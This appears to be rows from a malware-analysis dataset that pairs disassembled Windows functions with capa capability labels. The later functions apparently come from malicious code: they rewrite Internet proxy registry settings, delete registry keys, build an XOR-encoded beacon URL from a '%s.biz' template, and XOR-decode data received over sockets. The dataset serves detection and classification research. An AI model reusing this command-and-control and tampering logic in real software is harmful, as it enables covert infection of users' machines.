joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f14
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.0040653d
push esi
call fcn.00405eb7
mov edi, eax
test edi, edi
jne 0x405f35
xor eax, eax
jmp 0x405f8d
push edi
call fcn.004067c4
test byte [0x434f18], 0x80
je 0x405f52
mov ax, word [edi]
test ax, ax
je 0x405f31
cmp ax, 0x5c
je 0x405f31
sub edi, esi
sar edi, 1
jmp 0x405f6c
call fcn.00406873
test eax, eax
je 0x405f66
test byte [eax], 0x10
je 0x405f31
push esi
call fcn.00405e58
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405f58
call fcn.00405e0c
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x406008
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406027
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x40602d
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x40605c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a578]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a57c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x4060ac
test edi, edi
jne 0x406069
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x4060a6
Function at 0x406183
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x430908], 0x55004e
mov dword [0x43090c], 0x4c
mov edi, 0x400
mov ebp, 0x430908
je 0x4061d9
push 1
push 0
push esi
call fcn.0040602d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4062f8
cmp eax, edi
jg 0x4062f8
mov esi, 0x431108
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4062f8
cmp eax, edi
jg 0x4062f8
push esi
push ebp
push str._ls_ls_r_n
push 0x430508
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434f10]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.0040657a
push 4
push 0xc0000000
push esi
call fcn.0040602d
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x4062f8
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4062f1
push edi
push esi
push ebp
call fcn.004060b0
test eax, eax
je 0x4062f1
push str._Rename__r_n
push esi
call fcn.00405f92
test eax, eax
jne 0x40628f
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x4062c4
add eax, 0xa
push 0x40a580
push eax
call fcn.00405f92
mov ebp, eax
test ebp, ebp
je 0x4062c0
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x4062b1
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x4062ab
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x4062c6
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x430508
push eax
call fcn.00405fe8
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.004060df
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4062fd
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x406320
push dword [esp + 8]
push dword [esp + 8]
call fcn.00406183
pop ecx
pop ecx
inc dword [0x434f90]
ret 8
Function at 0x40640b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004063aa
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x40647b
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x40647b
cmp dword [ebp + 0xc], 1
je 0x40647f
cmp dword [ebp + 0xc], 2
je 0x40647f
and word [esi], 0
pop esi
leave
ret 0x14
Function at 0x40689a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068be
xor eax, eax
test eax, eax
je 0x4068d1
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068d1
xor ecx, ecx
jmp 0x4068d4
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4069f7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x406a2e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a08
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x406a03
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a5f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x406a41
pop edi
not eax
pop esi
ret 0xc
Function at 0x401349
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
mov ebx, eax
mov ecx, edx
test edx, edx
jne 0x401359
mov edx, 0xffffffff
jmp 0x401373
mov edx, 0xffffffff
mov al, byte [ebx]
xor eax, edx
movzx eax, al
shr edx, 8
xor edx, dword [eax*4 + 0x4110e0]
inc ebx
dec ecx
jne 0x40135e
mov eax, edx
not eax
pop ebx
ret

Function at 0x401439
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
sub esp, 0x24
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x4014a6
mov dword [esp + 0xc], 0x22a
sub esp, 8
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x20]
push eax
push 0
push str.ShellRegEx
push dword [esp + 0x30]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x401497
mov eax, dword [esp + 0x14]
jmp 0x401519
sub esp, 0xc
push dword [esp + 0x20]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 0xc
lea eax, [esp + 0x20]
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
je 0x4014d2
mov eax, 0
jmp 0x401519
mov dword [esp + 0xc], 0x22a
sub esp, 8
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x20]
push eax
push 0
push str.ShellRegEx
push dword [esp + 0x30]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x401505
mov eax, dword [esp + 0x14]
jmp 0x401519
sub esp, 0xc
push dword [esp + 0x20]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 0
add esp, 0xc
add esp, 0x18
pop ebx
ret

Function at 0x40151e
Capabilities:
Delete file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1018
call fcn.00406420
mov eax, dword [esp + 0x1018]
mov ebp, edx
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
add esp, 4
test eax, eax
je 0x40161c
cmp eax, 0xffffffff
je 0x40161c
sub esp, 8
push pe_nt_image_headers32
push ebp
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebp
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 0x14
test eax, eax
je 0x40161c
cmp eax, 0xffffffff
jne 0x4015dc
jmp 0x40161c
sub esp, 0xc
push 0
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x2c]
push edi
push ebx
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
cmp dword [esp + 0x18], 0xfff
ja 0x4015e0
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, 1
add esp, 0xc
jmp 0x401621
lea edi, [esp + 0x1c]
sub esp, 0xc
push 0
lea eax, [esp + 0x28]
push eax
push 0x1000
push edi
push esi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
jne 0x4015a1
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
push ebx
call sub.KERNEL32.dll_CloseHandle
push ebp
call sub.KERNEL32.dll_DeleteFileA
mov eax, 0
add esp, 0xc
jmp 0x401621
mov eax, 0
add esp, 0x101c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4016e1
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
push edi
push esi
push ebx
mov eax, 0x202c
call fcn.00406420
cmp byte [0x412010], 0
je 0x401907
sub esp, 0xc
push 0
lea eax, [esp + 0x2030]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x401907
mov esi, 0
mov edi, 1
lea ebx, [esp + 0x1014]
lea ebp, [esp + 0x2028]
jmp 0x4018dc
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_lstrlenA
add esp, 0xc
cmp eax, 0x10
jle 0x4018d7
mov edx, str._Classes
mov eax, ebx
call fcn.00401013
test eax, eax
jne 0x4018d7
sub esp, 8
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 4
push ebp
push 0x20019
push 0
push eax
push 0x80000003
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x4018d7
mov dword [esp + 0x2018], 0x1000
sub esp, 8
lea eax, [esp + 0x2020]
push eax
push ebx
lea eax, [esp + 0x202c]
push eax
push 0
push str.ProxyEnable
push dword [esp + 0x2044]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x4018c5
mov al, byte [esp + 0x1014]
test al, al
je 0x4018c5
cmp al, 0x30
je 0x4018c5
sub esp, 0xc
lea eax, [esp + 0x2030]
push eax
push 0x20019
push 0
push str.Connections
push dword [esp + 0x2044]
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x4018c5
mov dword [esp + 8], 0
jmp 0x40185d
sub esp, 8
push dword [esp + 0x201c]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x202c]
push 0
push ebx
push dword [esp + 0x203c]
call sub.ADVAPI32.DLL_RegSetValueExA
inc dword [esp + 0x10]
add esp, 8
mov dword [esp + 0x2018], 0x1000
mov dword [esp + 0x2014], 0x1000
lea eax, [esp + 0x2014]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2024]
push eax
push 0
lea eax, [esp + 0x2028]
push eax
push ebx
push dword [esp + 0x20]
push dword [esp + 0x2040]
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x401831
cmp dword [esp + 8], 0
je 0x4018b3
mov edi, 0
sub esp, 0xc
push dword [esp + 0x2030]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 0xc
push dword [esp + 0x2034]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
test edi, edi
je 0x4018f5
inc esi
push 0x1000
push ebx
push esi
push 0x80000003
call sub.ADVAPI32.DLL_RegEnumKeyA
test eax, eax
je 0x40174d
sub esp, 0xc
push dword [esp + 0x202c]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esp, 0x202c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401912
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1318
call fcn.00406420
mov eax, dword [esp + 0x1318]
mov esi, eax
mov ebx, edx
sub esp, 0xc
lea eax, [esp + 0x24]
push eax
push 0x20019
push 0
push edx
push esi
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x401995
jmp 0x401966
push edi
push ebx
push str._s_s
push ebp
call sub.USER32.dll_wsprintfA
mov edx, ebp
mov eax, esi
call fcn.00401912
add esp, 0x10
jmp 0x401971
lea edi, [esp + 0x101c]
lea ebp, [esp + 0x1c]
push 0x300
push edi
push 0
push dword [esp + 0x24]
call sub.ADVAPI32.DLL_RegEnumKeyA
test eax, eax
je 0x40194b
sub esp, 0xc
push dword [esp + 0x24]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 8
push ebx
push esi
call sub.ADVAPI32.DLL_RegDeleteKeyA
add esp, 0x1324
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401cc1
Capabilities:
Set registry value

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x5008
call fcn.00406420
mov eax, dword [esp + 0x5008]
mov edi, eax
cmp dword [0x4120e0], 2
jne 0x401d2d
mov ecx, 0
lea ebx, [esp + 0xc]
mov eax, ecx
sar eax, 1
mov edx, 0xa
mov ebp, edx
cdq
idiv ebp
add edx, 0x30
mov word [ecx + ebx], dx
add ecx, 2
cmp ecx, 0x4ffe
jne 0x401ceb
mov word [esp + 0x500a], 0
sub esp, 8
push 4
push 0x411009
push 1
push 0
push ebx
push edi
call sub.ADVAPI32.DLL_RegSetValueExW
add esp, 8
add esp, 0x500c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401d76
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x130
mov esi, eax
mov ebx, edx
mov ebp, ecx
mov dword [esp + 0x124], 1
lea edi, [esp + 0x124]
push edi
push 0x8004667e
push eax
call sub.WS2_32.DLL_ioctlsocket
mov dword [esp + 0x124], 0
push 0x10
push ebx
push esi
call sub.WS2_32.DLL_connect
add esp, 4
test eax, eax
jne 0x401ddb
sub esp, 4
push edi
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
mov eax, 0
add esp, 4
jmp 0x401ebe
call sub.WS2_32.DLL_WSAGetLastError
cmp eax, 0x2733
je 0x401e0a
sub esp, 4
lea eax, [esp + 0x124]
push eax
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
mov eax, 0xffffffff
add esp, 4
jmp 0x401ebe
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], 0
sub esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
push eax
push 0
push 0
call sub.WS2_32.DLL_select
mov dword [esp + 0x130], eax
sub esp, 8
lea eax, [esp + 0x134]
push eax
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
add esp, 0x14
cmp dword [esp + 0x124], 1
je 0x401e6a
mov eax, 0xffffffff
jmp 0x401ebe
mov dword [esp + 0x128], 4
lea eax, [esp + 0x124]
sub esp, 0xc
lea edx, [esp + 0x134]
push edx
push eax
push 0x1007
push 0xffff
push esi
call sub.WS2_32.DLL_getsockopt
add esp, 0xc
cmp eax, 0xffffffff
je 0x401eb2
mov eax, dword [esp + 0x124]
test eax, eax
je 0x401eb9
cmp eax, 0x2748
je 0x401eb9
mov eax, 0xffffffff
jmp 0x401ebe
mov eax, 0
add esp, 0x12c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401ec9
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x11c
mov edi, eax
mov ebp, edx
mov dword [esp + 4], ecx
mov dword [esp + 0x10], 0
test ecx, ecx
je 0x402006
mov dword [esp + 8], 0
jmp 0x401fd1
cmp dword [esp + eax*4 + 0x14], edi
je 0x401f16
inc eax
cmp eax, edx
jne 0x401ef8
jmp 0x402013
mov eax, 0
mov dword [esp + eax*4 + 0x14], edi
inc eax
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x130]
mov dword [esp + 0x114], eax
mov dword [esp + 0x118], 0
sub esp, 0xc
lea eax, [esp + 0x120]
push eax
push 0
push 0
lea eax, [esp + 0x28]
push eax
push 0
call sub.WS2_32.DLL_select
add esp, 0xc
cmp eax, 1
jne 0x401ff1
push 2
push dword [esp + 8]
push ebp
push edi
call sub.WS2_32.DLL_recv
mov esi, eax
test eax, eax
jle 0x401ff1
mov ebx, ebp
cmp byte [ebx], 0xa
jne 0x401fa0
sub esi, eax
push 0
lea eax, [esi + 1]
push eax
push ebp
push edi
call sub.WS2_32.DLL_recv
test esi, esi
je 0x401f94
cmp byte [ebx - 1], 0xd
jne 0x401f94
mov byte [ebx - 1], 0
dec esi
jmp 0x401f97
mov byte [ebx], 0
add dword [esp + 8], esi
jmp 0x402021
dec eax
je 0x401fa6
inc ebx
jmp 0x401f6f
sub dword [esp + 4], esi
jne 0x401fc1
lea ebx, [esi - 1]
push 0
push ebx
push ebp
push edi
call sub.WS2_32.DLL_recv
add ebp, ebx
add dword [esp + 8], ebx
jmp 0x401ff1
push 0
push esi
push ebp
push edi
call sub.WS2_32.DLL_recv
add ebp, esi
add dword [esp + 8], esi
mov edx, dword [esp + 0x10]
test edx, edx
je 0x401f08
cmp dword [esp + 0x14], edi
je 0x401f16
mov eax, 0
jmp 0x401efe
mov byte [ebp], 0
cmp dword [esp + 8], 0
jne 0x402021
mov dword [esp + 8], 0xffffffff
jmp 0x402021
mov byte [edx], 0
mov dword [esp + 8], 0xffffffff
jmp 0x402021
cmp eax, 0x3f
ja 0x401f16
jmp 0x401f0d
mov eax, dword [esp + 8]
add esp, 0x11c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4024ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov esi, eax
lea ecx, [eax + 1]
mov ebx, 0
jmp 0x4024e4
inc ecx
mov dl, byte [ecx - 1]
cmp dl, 0x2f
jne 0x4024f1
lea ebx, [ecx - 1]
jmp 0x4024e3
test dl, dl
jne 0x4024e3
test ebx, ebx
je 0x4024fc
lea esi, [ebx + 1]
call fcn.0040140f
mov dword [ebp - 0x10], eax
cmp byte [ebp - 0x10], 0
je 0x4024fc
cmp byte [ebp - 0xf], 0
je 0x4024fc
cmp byte [ebp - 0xe], 0
je 0x4024fc
cmp byte [ebp - 0xd], 0
je 0x4024fc
sub esp, 0xc
push esi
call sub.KERNEL32.dll_lstrlenA
lea ebx, [eax + 4]
add eax, 0x25
add esp, 0xc
and eax, 0xfffffff0
call fcn.00406420
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x64], eax
mov dword [eax], 0
sub esp, 8
push esi
mov eax, dword [ebp - 0x64]
add eax, 4
push eax
call sub.KERNEL32.dll_lstrcpyA
lea eax, [ebx + ebx + 0x72]
add esp, 8
and eax, 0xfffffff0
call fcn.00406420
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x60], eax
mov edi, dword [ebp - 0x64]
add edi, ebx
cmp dword [ebp - 0x64], edi
jae 0x402605
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x64]
xor dword [eax], edx
add eax, 4
cmp eax, edi
jb 0x402583
lea ebx, [ebp - 0x50]
mov edx, ebx
mov eax, dword [0x412178]
call fcn.00401202
sub esp, 4
push ebx
push str.http:___s.biz_d_G_
push dword [ebp - 0x60]
call sub.USER32.dll_wsprintfA
mov edx, dword [ebp - 0x60]
lea esi, [eax + edx]
mov ebx, dword [ebp - 0x64]
add esp, 0x10
sub esp, 4
movzx eax, byte [ebx]
push eax
push str._02X
push esi
call sub.USER32.dll_wsprintfA
add esi, eax
inc ebx
add esp, 0x10
cmp ebx, edi
jne 0x4025b8
mov byte [esi], 0
mov ecx, 1
mov edx, 0
mov eax, dword [ebp - 0x60]
call fcn.00402030
mov edx, eax
test eax, eax
je 0x402630
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [edx + 8], eax
jmp 0x402630
lea ebx, [ebp - 0x50]
mov edx, ebx
mov eax, dword [0x412178]
call fcn.00401202
sub esp, 4
push ebx
push str.http:___s.biz_d_G_
push dword [ebp - 0x60]
call sub.USER32.dll_wsprintfA
mov edx, dword [ebp - 0x60]
lea esi, [eax + edx]
add esp, 0x10
jmp 0x4025d4
mov eax, edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x40263a
Capabilities:
Encode data using xor
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x12c
mov edi, eax
mov esi, edx
mov ebx, ecx
cmp dword [eax], 0
je 0x402676
lea eax, [esp + 0x128]
push eax
push ecx
push edx
push dword [edi + 4]
call dword [0x4121d0]
test eax, eax
jne 0x4026d6
mov dword [esp + 0x128], 0xffffffff
jmp 0x4027e3
mov ebp, dword [eax + 4]
mov dword [esp + 0x11c], 0x28
mov dword [esp + 0x120], 0
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], 1
sub esp, 0xc
lea eax, [esp + 0x128]
push eax
push 0
push 0
lea eax, [esp + 0x30]
push eax
push 0
call sub.WS2_32.DLL_select
add esp, 0xc
cmp eax, 1
je 0x4026c5
mov eax, 0xffffffff
jmp 0x4026cf
push 0
push ebx
push esi
push ebp
call sub.WS2_32.DLL_recv
mov dword [esp + 0x128], eax
mov ebx, dword [esp + 0x128]
lea edx, [ebx - 1]
cmp edx, 0xfffffffd
ja 0x4027e3
cmp dword [edi + 0x10], 0
je 0x4027e3
mov eax, dword [edi + 8]
mov dword [esp + 0x124], eax
mov eax, dword [edi + 0xc]
cmp eax, 2
je 0x402730
cmp eax, 3
je 0x402752
cmp eax, 1
jne 0x402775
mov al, byte [esp + 0x125]
xor byte [esi], al
test edx, edx
je 0x402721
inc esi
mov ebx, edx
jmp 0x402730
inc dword [edi + 0xc]
mov eax, dword [esp + 0x128]
jmp 0x4027ea
mov al, byte [esp + 0x126]
xor byte [esi], al
dec ebx
je 0x40273f
inc esi
jmp 0x402752
mov dword [edi + 0xc], 3
mov eax, dword [esp + 0x128]
jmp 0x4027ea
lea eax, [esp + 0x124]
mov dl, byte [esp + 0x127]
xor byte [esi], dl
inc esi
dec ebx
mov edx, 4
call fcn.00401349
mov dword [esp + 0x124], eax
cmp ebx, 3
jbe 0x4027a8
lea ebp, [esp + 0x124]
mov eax, dword [esp + 0x124]
xor dword [esi], eax
add esi, 4
sub ebx, 4
mov edx, 4
mov eax, ebp
call fcn.00401349
mov dword [esp + 0x124], eax
cmp ebx, 3
ja 0x402781
mov dword [edi + 0xc], ebx
cmp ebx, 2
je 0x4027c6
cmp ebx, 3
je 0x4027bc
cmp ebx, 1
jne 0x4027d9
jmp 0x4027d0
mov al, byte [esp + 0x126]
xor byte [esi + 2], al
mov al, byte [esp + 0x125]
xor byte [esi + 1], al
mov al, byte [esp + 0x124]
xor byte [esi], al
mov eax, dword [esp + 0x124]
mov dword [edi + 8], eax
mov eax, dword [esp + 0x128]
add esp, 0x12c
pop ebx
pop esi
pop edi
pop ebp
ret